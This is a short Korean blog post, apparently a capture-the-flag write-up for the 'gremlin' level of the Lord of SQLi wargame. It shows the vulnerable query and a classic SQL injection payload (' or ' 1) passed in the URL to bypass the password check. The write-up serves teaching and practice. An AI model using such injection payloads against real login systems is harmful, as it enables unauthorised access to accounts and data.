본문 바로가기

wargame/los

los gremlin




los 의 도메인이 변경 되었다고 합니다.


http://los.eagle-jump.org/



1번 문제 



get 방식이기 때문에 url 에다 직접 입력합니다.


위의 php 소스를 확인하면 

$query ="select id from prob_gremlin where id ='{}' and pw=''";


이 부분을 내가 원하는 query 로 바꾸어 보면 

id = amdin pw = a(상관 없음) ' or ' 1 이렇게 넣어줄 것입니다.


해석을 해보면 id 는 admin 이고 pw 는 a 라는 문자거나 1(참) 인 쿼리문이 됩니다.


url 에 직접 작성해 보면 



.php? id=admin & pw=1 ' or ' 1 


이렇게 작성하시면 됩니다. 










'wargame > los' 카테고리의 다른 글

los darkelf  (0) 2016.11.22
los wolfman  (0) 2016.11.22
los orc  (0) 2016.11.22
los goblin  (0) 2016.11.22
los cobolt  (0) 2016.10.03
los gremlin  (0) 2016.09.29